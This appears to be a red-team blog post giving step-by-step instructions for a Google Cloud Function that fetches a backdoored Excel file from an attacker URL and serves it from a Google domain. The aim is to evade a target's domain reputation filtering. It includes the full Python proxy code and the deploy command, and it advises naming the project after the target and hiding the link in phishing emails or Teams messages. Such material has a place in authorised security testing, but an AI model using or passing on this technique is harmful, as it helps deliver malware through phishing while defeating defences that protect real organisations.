02 March 2023
On a recent red team engagement, we faced the challenge of serving a backdoored Excel document as part of a social engineering campaign against an environment using very strong reputation-based URL filtering. Although we and others have written in detail about abusing serverless cloud functions to redirect C2 traffic, this time we needed the reverse: a way to serve a file to the victim's machine while bypassing their environment's domain reputation controls. What we came up with was a simple Python function that fetches data from any attacker specified URL and serves it to a victim visiting a Google-controlled domain. This post will walk through the procedures we used to successfully bypass our target's domain reputation filtering service.
Google Cloud currently allows the deployment of HTTP functions in Node.js, Python, Go, Java, C#, Ruby, and PHP. Most of this section is based off of their great quickstart documentation. We are using Python for this example.
This walkthrough assumes the reader has already created a Google Cloud account.
Create a new project in the Google Cloud Console's web GUI:
The most important thing to note for red team operators is that your project's name and region will be displayed in the function's public-facing URL, so pick a project name and region that fits your pretext. We used the name of the organization we were targeting with no issues.
Also be sure to enable the necessary Google Cloud APIs for the project. These are:
Then, install the gcloud
CLI tool. Here's how.
Create a new directory where your function will live:
mkdir foo
cd foo
In that directory, create a file main.py
and paste the following code:
from flask import Response
import functions_framework
import requests
@functions_framework.http
def foo(request): ### The function name will be the /endpoint in the produced URL, so pick your function's name according to your scenario.
url = "<MALDOC URL>" ### replace with payload URL
response = Response()
response.content_type = "<Appropriate 'Content-Type' of Maldoc>" ### for xls files this is "application/vnd.ms-excel"
response.set_data(requests.get(url).content)
return response
Change the placeholder code on the commented lines. The functionName
you choose will be part of the function's public URL so be sure to pick a name that suits your campaign. You'll also need to specify the correct IANA Media Type for the Content-Type
HTTP header.
Next, specify your code's package dependencies in a requirements.txt
file in the same directory as main.py
:
echo "requests" > requirements.txt
At this point, your function is ready to deploy.
From the same directory containing the two files you just created, run the following command, swapping functionName
for the name of your function in main.py
:
gcloud functions deploy foo --runtime python310 --trigger-http --allow-unauthenticated
The function name in the above command must match the function name in your code exactly.
The --trigger-http
flag sets the trigger for the function to be a standard GET request.
The --allow-unauthenticated
makes the function public.
If it works, you will get output that looks like this:
In the screenshot above, we can see that a trigger url is returned after successful deployment. The trigger url always looks something like https://GCP-region-project-name.cloudfunctions.net/functionName
. It's not the prettiest, but it got past the security controls it needed to.
Although the gcloud
CLI will pass build error messages along, it is sometimes useful to go over the tracebacks in detail in the Logs Explorer, which allows us to query logs from any part of our project.
stdout
The Logs Explorer also stores anything a project prints to stdout
. If we add the line print("FOO")
to our function’s code, we will see the string FOO
printed to our logs when we trigger the function :
If everything works, you will be prompted to download the malicious file by simply visiting the trigger URL.
The cloud function URLs are not the prettiest so if you can, disguise them with HTML in an email or Microsoft Teams message.
We hope this is useful, and if you have any questions, don't hesitate to contact us or check out similar blog posts on our website. As always, happy hacking!